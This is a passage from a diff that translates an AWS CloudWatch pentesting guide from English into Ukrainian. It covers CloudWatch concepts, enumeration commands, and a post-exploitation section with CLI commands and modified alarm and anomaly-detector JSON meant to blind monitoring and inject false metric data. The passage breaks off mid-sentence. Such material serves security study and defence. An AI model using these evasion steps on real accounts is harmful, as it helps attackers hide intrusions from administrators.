256KB на кожен рядок журналу**.\ +Він може встановлювати **сигнали високої роздільної здатності**, візуалізувати **журнали** та **метрики** поруч, виконувати автоматизовані дії, усувати проблеми та виявляти інсайти для оптимізації додатків. -You can monitor for example logs from CloudTrail. Events that are monitored: +Ви можете моніторити, наприклад, журнали з CloudTrail. Події, які моніторяться: -- Changes to Security Groups and NACLs -- Starting, Stopping, rebooting and terminating EC2 instances -- Changes to Security Policies within IAM and S3 -- Failed login attempts to the AWS Management Console -- API calls that resulted in failed authorization -- Filters to search in cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) +- Зміни в групах безпеки та NACL +- Запуск, зупинка, перезавантаження та завершення роботи EC2 екземплярів +- Зміни в політиках безпеки в IAM та S3 +- Невдалі спроби входу до консолі управління AWS +- Виклики API, які призвели до невдалої авторизації +- Фільтри для пошуку в cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) -## Key concepts +## Ключові концепції -### Namespaces +### Простори імен -A namespace is a container for CloudWatch metrics. It helps to categorize and isolate metrics, making it easier to manage and analyze them. +Простір імен - це контейнер для метрик CloudWatch. Він допомагає категоризувати та ізолювати метрики, спрощуючи їх управління та аналіз. -- **Examples**: AWS/EC2 for EC2-related metrics, AWS/RDS for RDS metrics. +- **Приклади**: AWS/EC2 для метрик, пов'язаних з EC2, AWS/RDS для метрик RDS. -### Metrics +### Метрики -Metrics are data points collected over time that represent the performance or utilization of AWS resources. Metrics can be collected from AWS services, custom applications, or third-party integrations. +Метрики - це точки даних, зібрані з часом, які представляють продуктивність або використання ресурсів AWS. Метрики можуть бути зібрані з сервісів AWS, користувацьких додатків або інтеграцій сторонніх розробників. -- **Example**: CPUUtilization, NetworkIn, DiskReadOps. +- **Приклад**: CPUUtilization, NetworkIn, DiskReadOps. -### Dimensions +### Виміри -Dimensions are key-value pairs that are part of metrics. They help to uniquely identify a metric and provide additional context, being 30 the most number of dimensions that can be associated with a metric. Dimensions also allow to filter and aggregate metrics based on specific attributes. +Виміри - це пари ключ-значення, які є частиною метрик. Вони допомагають унікально ідентифікувати метрику та надають додатковий контекст, при цьому 30 - це максимальна кількість вимірів, які можуть бути асоційовані з метрикою. Виміри також дозволяють фільтрувати та агрегувати метрики на основі конкретних атрибутів. -- **Example**: For EC2 instances, dimensions might include InstanceId, InstanceType, and AvailabilityZone. +- **Приклад**: Для екземплярів EC2 виміри можуть включати InstanceId, InstanceType та AvailabilityZone. -### Statistics +### Статистика -Statistics are mathematical calculations performed on metric data to summarize it over time. Common statistics include Average, Sum, Minimum, Maximum, and SampleCount. +Статистика - це математичні обчислення, виконані над даними метрик для їх узагальнення з часом. Загальні статистики включають Середнє, Суму, Мінімум, Максимум та Кількість зразків. -- **Example**: Calculating the average CPU utilization over a period of one hour. +- **Приклад**: Обчислення середнього використання ЦП за період в одну годину. -### Units +### Одиниці -Units are the measurement type associated with a metric. Units help to provide context and meaning to the metric data. Common units include Percent, Bytes, Seconds, Count. +Одиниці - це тип вимірювання, пов'язаний з метрикою. Одиниці допомагають надати контекст і значення даним метрик. Загальні одиниці включають Відсоток, Байти, Секунди, Кількість. -- **Example**: CPUUtilization might be measured in Percent, while NetworkIn might be measured in Bytes. +- **Приклад**: CPUUtilization може вимірюватися у Відсотках, тоді як NetworkIn може вимірюватися в Байтах. -## CloudWatch Features +## Функції CloudWatch -### Dashboard +### Панель -**CloudWatch Dashboards** provide customizable **views of your AWS CloudWatch metrics**. It is possible to create and configure dashboards to visualize data and monitor resources in a single view, combining different metrics from various AWS services. +**Панелі CloudWatch** надають настроювані **перегляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних та моніторингу ресурсів в одному перегляді, поєднуючи різні метрики з різних сервісів AWS. -**Key Features**: +**Ключові функції**: -- **Widgets**: Building blocks of dashboards, including graphs, text, alarms, and more. -- **Customization**: Layout and content can be customized to fit specific monitoring needs. +- **Віджети**: Будівельні блоки панелей, включаючи графіки, текст, сигнали та інше. +- **Налаштування**: Макет і вміст можуть бути налаштовані відповідно до конкретних потреб моніторингу. -**Example Use Case**: +**Приклад використання**: -- A single dashboard showing key metrics for your entire AWS environment, including EC2 instances, RDS databases, and S3 buckets. +- Одна панель, що показує ключові метрики для вашого всього середовища AWS, включаючи екземпляри EC2, бази даних RDS та кошики S3. -### Metric Stream and Metric Data +### Потік метрик та дані метрик -**Metric Streams** in AWS CloudWatch enable you to continuously stream CloudWatch metrics to a destination of your choice in near real-time. This is particularly useful for advanced monitoring, analytics, and custom dashboards using tools outside of AWS. +**Потоки метрик** в AWS CloudWatch дозволяють вам безперервно передавати метрики CloudWatch до обраного вами місця призначення в майже реальному часі. Це особливо корисно для розширеного моніторингу, аналітики та користувацьких панелей, використовуючи інструменти поза AWS. -**Metric Data** inside Metric Streams refers to the actual measurements or data points that are being streamed. These data points represent various metrics like CPU utilization, memory usage, etc., for AWS resources. +**Дані метрик** всередині потоків метрик відносяться до фактичних вимірювань або точок даних, які передаються. Ці точки даних представляють різні метрики, такі як використання ЦП, використання пам'яті тощо, для ресурсів AWS. -**Example Use Case**: +**Приклад використання**: -- Sending real-time metrics to a third-party monitoring service for advanced analysis. -- Archiving metrics in an Amazon S3 bucket for long-term storage and compliance. +- Надсилання реальних метрик до служби моніторингу третьої сторони для розширеного аналізу. +- Архівування метрик у кошику Amazon S3 для довгострокового зберігання та відповідності. -### Alarm +### Сигнал -**CloudWatch Alarms** monitor your metrics and perform actions based on predefined thresholds. When a metric breaches a threshold, the alarm can perform one or more actions such as sending notifications via SNS, triggering an auto-scaling policy, or running an AWS Lambda function. +**Сигнали CloudWatch** моніторять ваші метрики та виконують дії на основі попередньо визначених порогів. Коли метрика перевищує поріг, сигнал може виконати одну або кілька дій, таких як надсилання сповіщень через SNS, активація політики автоматичного масштабування або виконання функції AWS Lambda. -**Key Components**: +**Ключові компоненти**: -- **Threshold**: The value at which the alarm triggers. -- **Evaluation Periods**: The number of periods over which data is evaluated. -- **Datapoints to Alarm**: The number of periods with a reached threshold needed to trigger the alarm -- **Actions**: What happens when an alarm state is triggered (e.g., notify via SNS). +- **Поріг**: Значення, при якому сигнал спрацьовує. +- **Періоди оцінки**: Кількість періодів, протягом яких дані оцінюються. +- **Точки даних для сигналу**: Кількість періодів з досягнутим порогом, необхідна для активації сигналу. +- **Дії**: Що відбувається, коли спрацьовує стан сигналу (наприклад, сповіщення через SNS). -**Example Use Case**: +**Приклад використання**: -- Monitoring EC2 instance CPU utilization and sending a notification via SNS if it exceeds 80% for 5 consecutive minutes. +- Моніторинг використання ЦП екземпляра EC2 та надсилання сповіщення через SNS, якщо воно перевищує 80% протягом 5 послідовних хвилин. -### Anomaly Detectors +### Виявлення аномалій -**Anomaly Detectors** use machine learning to automatically detect anomalies in your metrics. You can apply anomaly detection to any CloudWatch metric to identify deviations from normal patterns that might indicate issues. +**Виявлення аномалій** використовує машинне навчання для автоматичного виявлення аномалій у ваших метриках. Ви можете застосувати виявлення аномалій до будь-якої метрики CloudWatch, щоб виявити відхилення від нормальних патернів, які можуть вказувати на проблеми. -**Key Components**: +**Ключові компоненти**: -- **Model Training**: CloudWatch uses historical data to train a model and establish what normal behavior looks like. -- **Anomaly Detection Band**: A visual representation of the expected range of values for a metric. +- **Навчання моделі**: CloudWatch використовує історичні дані для навчання моделі та встановлення того, як виглядає нормальна поведінка. +- **Діапазон виявлення аномалій**: Візуальне представлення очікуваного діапазону значень для метрики. -**Example Use Case**: +**Приклад використання**: -- Detecting unusual CPU utilization patterns in an EC2 instance that might indicate a security breach or application issue. +- Виявлення незвичайних патернів використання ЦП в екземплярі EC2, які можуть вказувати на порушення безпеки або проблему з додатком. -### Insight Rules and Managed Insight Rules +### Правила інсайту та керовані правила інсайту -**Insight Rules** allow you to identify trends, detect spikes, or other patterns of interest in your metric data using **powerful mathematical expressions** to define the conditions under which actions should be taken. These rules can help you identify anomalies or unusual behaviors in your resource performance and utilization. +**Правила інсайту** дозволяють вам виявляти тенденції, виявляти сплески або інші патерни інтересу у ваших даних метрик, використовуючи **потужні математичні вирази** для визначення умов, за яких повинні бути вжиті дії. Ці правила можуть допомогти вам виявити аномалії або незвичайну поведінку у продуктивності та використанні ваших ресурсів. -**Managed Insight Rules** are pre-configured **insight rules provided by AWS**. They are designed to monitor specific AWS services or common use cases and can be enabled without needing detailed configuration. +**Керовані правила інсайту** - це попередньо налаштовані **правила інсайту, надані AWS**. Вони призначені для моніторингу конкретних сервісів AWS або загальних випадків використання та можуть бути активовані без необхідності детальної конфігурації. -**Example Use Case**: +**Приклад використання**: -- Monitoring RDS Performance: Enable a managed insight rule for Amazon RDS that monitors key performance indicators such as CPU utilization, memory usage, and disk I/O. If any of these metrics exceed safe operational thresholds, the rule can trigger an alert or automated mitigation action. +- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання ЦП, використання пам'яті та дисковий ввід/вивід. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може активувати сповіщення або автоматизовану дію пом'якшення. -### CloudWatch Logs +### Журнали CloudWatch -Allows to **aggregate and monitor logs from applications** and systems from **AWS services** (including CloudTrail) and **from apps/systems** (**CloudWatch Agen**t can be installed on a host). Logs can be **stored indefinitely** (depending on the Log Group settings) and can be exported. +Дозволяє **агрегувати та моніторити журнали з додатків** та систем з **сервісів AWS** (включаючи CloudTrail) та **з додатків/систем** (**CloudWatch Agent** може бути встановлений на хост). Журнали можуть **зберігатися безстроково** (залежно від налаштувань групи журналів) і можуть бути експортовані. -**Elements**: +**Елементи**: -| **Log Group** | A **collection of log streams** that share the same retention, monitoring, and access control settings | +| **Група журналів** | **Колекція потоків журналів**, які мають однакові налаштування зберігання, моніторингу та контролю доступу | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Log Stream** | A sequence of **log events** that share the **same source** | -| **Subscription Filters** | Define a **filter pattern that matches events** in a particular log group, send them to Kinesis Data Firehose stream, Kinesis stream, or a Lambda function | +| **Потік журналу** | Послідовність **журнальних подій**, які мають **одне джерело** | +| **Фільтри підписки** | Визначають **шаблон фільтра, який відповідає подіям** у певній групі журналів, надсилають їх до потоку Kinesis Data Firehose, потоку Kinesis або функції Lambda | -### CloudWatch Monitoring & Events +### Моніторинг та події CloudWatch -CloudWatch **basic** aggregates data **every 5min** (the **detailed** one does that **every 1 min**). After the aggregation, it **checks the thresholds of the alarms** in case it needs to trigger one.\ -In that case, CLoudWatch can be prepared to send an event and perform some automatic actions (AWS lambda functions, SNS topics, SQS queues, Kinesis Streams) +CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** робить це **кожну 1 хвилину**). Після агрегації він **перевіряє пороги сигналів** на випадок, якщо потрібно активувати один.\ +У цьому випадку CloudWatch може бути готовий надіслати подію та виконати деякі автоматичні дії (функції AWS lambda, теми SNS, черги SQS, потоки Kinesis) -### Agent Installation +### Встановлення агента -You can install agents inside your machines/containers to automatically send the logs back to CloudWatch. +Ви можете встановити агентів всередині своїх машин/контейнерів, щоб автоматично надсилати журнали назад до CloudWatch. -- **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -- **Configure** and **start** the CloudWatch Agent +- **Створіть** **роль** та **прикріпіть** її до **екземпляра** з дозволами, що дозволяють CloudWatch збирати дані з екземплярів, крім взаємодії з менеджером систем AWS SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Завантажте** та **встановіть** **агент** на екземпляр EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Ви можете завантажити його зсередини EC2 або встановити автоматично, використовуючи AWS System Manager, вибравши пакет AWS-ConfigureAWSPackage +- **Налаштуйте** та **запустіть** агент CloudWatch -A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. - -## Enumeration +Група журналів має багато потоків. Потік має багато подій. І всередині кожного потоку події гарантовано будуть в порядку. +## Перерахування ```bash # Dashboards # @@ -213,250 +212,217 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` - ## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -An attacker with this permissions could significantly undermine an organization's monitoring and alerting infrastructure. By deleting existing alarms, an attacker could disable crucial alerts that notify administrators of critical performance issues, security breaches, or operational failures. Furthermore, by creating or modifying metric alarms, the attacker could also mislead administrators with false alerts or silence legitimate alarms, effectively masking malicious activities and preventing timely responses to actual incidents. - -In addition, with the **`cloudwatch:PutCompositeAlarm`** permission, an attacker would be able to create a loop or cycle of composite alarms, where composite alarm A depends on composite alarm B, and composite alarm B also depends on composite alarm A. In this scenario, it is not possible to delete any composite alarm that is part of the cycle because there is always still a composite alarm that depends on that alarm that you want to delete. +Зловмисник з цими правами може суттєво підірвати інфраструктуру моніторингу та сповіщення організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які інформують адміністраторів про критичні проблеми з продуктивністю, порушення безпеки або операційні збої. Крім того, створюючи або модифікуючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або замовчувати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти. +Крім того, з правом **`cloudwatch:PutCompositeAlarm`** зловмисник зможе створити цикл або петлю складних тривог, де складна тривога A залежить від складної тривоги B, а складна тривога B також залежить від складної тривоги A. У цьому сценарії неможливо видалити будь-яку складну тривогу, яка є частиною циклу, оскільки завжди залишається складна тривога, яка залежить від тієї тривоги, яку ви хочете видалити. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` +Наступний приклад показує, як зробити метричний сигнал неефективним: -The following example shows how to make a metric alarm ineffective: - -- This metric alarm monitors the average CPU utilization of a specific EC2 instance, evaluates the metric every 300 seconds and requires 6 evaluation periods (30 minutes total). If the average CPU utilization exceeds 60% for at least 4 of these periods, the alarm will trigger and send a notification to the specified SNS topic. -- By modifying the Threshold to be more than 99%, setting the Period to 10 seconds, the Evaluation Periods to 8640 (since 8640 periods of 10 seconds equal 1 day), and the Datapoints to Alarm to 8640 as well, it would be necessary for the CPU utilization to be over 99% every 10 seconds throughout the entire 24-hour period to trigger an alarm. +- Цей метричний сигнал контролює середнє використання ЦП конкретного EC2 екземпляра, оцінює метрику кожні 300 секунд і вимагає 6 періодів оцінки (всього 30 хвилин). Якщо середнє використання ЦП перевищує 60% принаймні в 4 з цих періодів, сигнал спрацює і надішле сповіщення на вказану тему SNS. +- Змінивши Поріг на більше ніж 99%, встановивши Період на 10 секунд, Періоди Оцінки на 8640 (оскільки 8640 періодів по 10 секунд дорівнює 1 дню), і Точки Даних для Сигналу на 8640, буде необхідно, щоб використання ЦП перевищувало 99% кожні 10 секунд протягом всього 24-годинного періоду, щоб спрацював сигнал. {{#tabs }} {{#tab name="Original Metric Alarm" }} - ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-01234567890123456" - } - ], - "AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 4, - "EvaluationPeriods": 6, - "Period": 300, - "Statistic": "Average", - "Threshold": 60, - "AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", - "AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-01234567890123456" +} +], +"AlarmActions": ["arn:aws:sns:us-east-1:123456789012:example_sns"], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 4, +"EvaluationPeriods": 6, +"Period": 300, +"Statistic": "Average", +"Threshold": 60, +"AlarmDescription": "CPU Utilization of i-01234567890123456 over 60%", +"AlarmName": "EC2 instance i-01234567890123456 CPU Utilization" } ``` - {{#endtab }} -{{#tab name="Modified Metric Alarm" }} - +{{#tab name="Змінений сигнал метрики" }} ```json { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0645d6d414dadf9f8" - } - ], - "AlarmActions": [], - "ComparisonOperator": "GreaterThanThreshold", - "DatapointsToAlarm": 8640, - "EvaluationPeriods": 8640, - "Period": 10, - "Statistic": "Average", - "Threshold": 99, - "AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", - "AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0645d6d414dadf9f8" +} +], +"AlarmActions": [], +"ComparisonOperator": "GreaterThanThreshold", +"DatapointsToAlarm": 8640, +"EvaluationPeriods": 8640, +"Period": 10, +"Statistic": "Average", +"Threshold": 99, +"AlarmDescription": "CPU Utilization of i-01234567890123456 with 60% as threshold", +"AlarmName": "Instance i-0645d6d414dadf9f8 CPU Utilization" } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Потенційний вплив**: Відсутність сповіщень про критичні події, потенційні непомічені проблеми, хибні сповіщення, придушення справжніх сповіщень і потенційно пропущені виявлення реальних інцидентів. ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** -By deleting alarm actions, the attacker could prevent critical alerts and automated responses from being triggered when an alarm state is reached, such as notifying administrators or triggering auto-scaling activities. Enabling or re-enabling alarm actions inappropriately could also lead to unexpected behaviors, either by reactivating previously disabled actions or by modifying which actions are triggered, potentially causing confusion and misdirection in incident response. +Видаляючи дії сповіщення, зловмисник може запобігти спрацьовуванню критичних сповіщень і автоматизованих відповідей, коли досягається стан тривоги, наприклад, сповіщення адміністраторів або запуск автоматичного масштабування. Неправильне увімкнення або повторне увімкнення дій сповіщення також може призвести до несподіваних поведінок, або шляхом повторної активації раніше вимкнених дій, або шляхом зміни того, які дії спрацьовують, що може викликати плутанину і неправильне реагування на інциденти. -In addition, an attacker with the permission could manipulate alarm states, being able to create false alarms to distract and confuse administrators, or silence genuine alarms to hide ongoing malicious activities or critical system failures. - -- If you use **`SetAlarmState`** on a composite alarm, the composite alarm is not guaranteed to return to its actual state. It returns to its actual state only once any of its children alarms change state. It is also reevaluated if you update its configuration. +Крім того, зловмисник з відповідними правами може маніпулювати станами тривоги, маючи можливість створювати хибні тривоги, щоб відволікти і заплутати адміністраторів, або приглушити справжні тривоги, щоб приховати триваючі шкідливі дії або критичні збої системи. +- Якщо ви використовуєте **`SetAlarmState`** на складній тривозі, складна тривога не гарантує повернення до свого фактичного стану. Вона повертається до свого фактичного стану лише після зміни стану будь-якої з її дочірніх тривог. Вона також переоцінюється, якщо ви оновлюєте її конфігурацію. ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` - -**Potential Impact**: Lack of notifications for critical events, potential undetected issues, false alerts, suppress genuine alerts and potentially missed detections of real incidents. +**Потенційний вплив**: Відсутність сповіщень про критичні події, потенційні непомічені проблеми, хибні сповіщення, придушення справжніх сповіщень і потенційно пропущені виявлення реальних інцидентів. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -An attacker would be able to compromise the ability of detection and respond to unusual patterns or anomalies in metric data. By deleting existing anomaly detectors, an attacker could disable critical alerting mechanisms; and by creating or modifying them, it would be able either to misconfigure or create false positives in order to distract or overwhelm the monitoring. - +Зловмисник зможе скомпрометувати можливість виявлення та реагування на незвичайні патерни або аномалії в метрик даних. Видаляючи існуючі детектори аномалій, зловмисник може відключити критичні механізми сповіщення; а створюючи або модифікуючи їх, він зможе або неправильно налаштувати, або створити хибнопозитивні сповіщення, щоб відволікти або перевантажити моніторинг. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` - -The following example shows how to make a metric anomaly detector ineffective. This metric anomaly detector monitors the average CPU utilization of a specific EC2 instance, and just by adding the “ExcludedTimeRanges” parameter with the desired time range, it would be enough to ensure that the anomaly detector does not analyze or alert on any relevant data during that period. +Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує і не сповіщає про жодні відповідні дані протягом цього періоду. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} - ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +} } ``` - {{#endtab }} -{{#tab name="Modified Metric Anomaly Detector" }} - +{{#tab name="Модифікований детектор аномалій метрик" }} ```json { - "SingleMetricAnomalyDetector": { - "Namespace": "AWS/EC2", - "MetricName": "CPUUtilization", - "Stat": "Average", - "Dimensions": [ - { - "Name": "InstanceId", - "Value": "i-0123456789abcdefg" - } - ] - }, - "Configuration": { - "ExcludedTimeRanges": [ - { - "StartTime": "2023-01-01T00:00:00Z", - "EndTime": "2053-01-01T23:59:59Z" - } - ], - "Timezone": "Europe/Madrid" - } +"SingleMetricAnomalyDetector": { +"Namespace": "AWS/EC2", +"MetricName": "CPUUtilization", +"Stat": "Average", +"Dimensions": [ +{ +"Name": "InstanceId", +"Value": "i-0123456789abcdefg" +} +] +}, +"Configuration": { +"ExcludedTimeRanges": [ +{ +"StartTime": "2023-01-01T00:00:00Z", +"EndTime": "2053-01-01T23:59:59Z" +} +], +"Timezone": "Europe/Madrid" +} } ``` - {{#endtab }} {{#endtabs }} -**Potential Impact**: Direct effect in the detection of unusual patterns or security threats. +**Потенційний вплив**: Прямий ефект у виявленні незвичних патернів або загроз безпеці. ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -An attacker would be able to compromise the monitoring and visualization capabilities of an organization by creating, modifying or deleting its dashboards. This permissions could be leveraged to remove critical visibility into the performance and health of systems, alter dashboards to display incorrect data or hide malicious activities. - +Зловмисник зможе скомпрометувати можливості моніторингу та візуалізації організації, створюючи, модифікуючи або видаляючи її інформаційні панелі. Ці дозволи можуть бути використані для видалення критичної видимості продуктивності та стану систем, зміни інформаційних панелей для відображення неправильних даних або приховування шкідливих дій. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body ``` - -**Potential Impact**: Loss of monitoring visibility and misleading information. +**Потенційний вплив**: Втрата видимості моніторингу та оманлива інформація. ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight rules are used to detect anomalies, optimize performance, and manage resources effectively. By deleting existing insight rules, an attacker could remove critical monitoring capabilities, leaving the system blind to performance issues and security threats. Additionally, an attacker could create or modify insight rules to generate misleading data or hide malicious activities, leading to incorrect diagnostics and inappropriate responses from the operations team. - +Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критично важливі можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних відповідей з боку команди операцій. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` - -**Potential Impact**: Difficulty to detect and respond to performance issues and anomalies, misinformed decision-making and potentially hiding malicious activities or system failures. +**Потенційний вплив**: Важкість виявлення та реагування на проблеми з продуктивністю та аномалії, помилкове прийняття рішень та потенційне приховування злочинних дій або збоїв системи. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity. - +Вимкнувши критично важливі правила інсайтів, зловмисник може ефективно осліпити організацію щодо ключових показників продуктивності та безпеки. Навпаки, увімкнувши або налаштувавши оманливі правила, можна створити хибні дані, створити шум або приховати злочинну діяльність. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` - -**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts. +**Потенційний вплив**: Плутанина серед команди операцій, що призводить до затримок у реагуванні на реальні проблеми та непотрібних дій на основі хибних сповіщень. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity: +Зловмисник з правами **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** зможе створювати та видаляти потоки даних метрик, що компрометує безпеку, моніторинг та цілісність даних: -- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations. -- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues. -- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden. - -Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless. +- **Створення шкідливих потоків**: Створення потоків метрик для відправки чутливих даних до несанкціонованих місць. +- **Маніпуляція ресурсами**: Створення нових потоків метрик з надмірними даними може створити багато шуму, викликаючи неправильні сповіщення, маскуючи справжні проблеми. +- **Порушення моніторингу**: Видаляючи потоки метрик, зловмисники порушать безперервний потік моніторингових даних. Таким чином, їхні шкідливі дії будуть ефективно приховані. +Аналогічно, з правом **`cloudwatch:PutMetricData`** буде можливим додавати дані до потоку метрик. Це може призвести до DoS через кількість неправильних даних, що додаються, роблячи його абсолютно непотрібним. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` - -Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance: - +Приклад додавання даних, що відповідають 70% використання ЦП на даному EC2 екземплярі: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. +**Потенційний вплив**: Порушення потоку даних моніторингу, що впливає на виявлення аномалій та інцидентів, маніпуляцію ресурсами та збільшення витрат через створення надмірних потоків метрик. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams. - +Зловмисник контролював би потік даних метрик, що підлягають впливу (кожен потік даних, якщо немає обмежень на ресурси). З дозволом **`cloudwatch:StopMetricStreams`** зловмисники могли б приховати свої злочинні дії, зупинивши критично важливі потоки метрик. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents. +**Потенційний вплив**: Порушення потоку моніторингових даних, що вплине на виявлення аномалій та інцидентів. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags. - +Зловмисник зможе 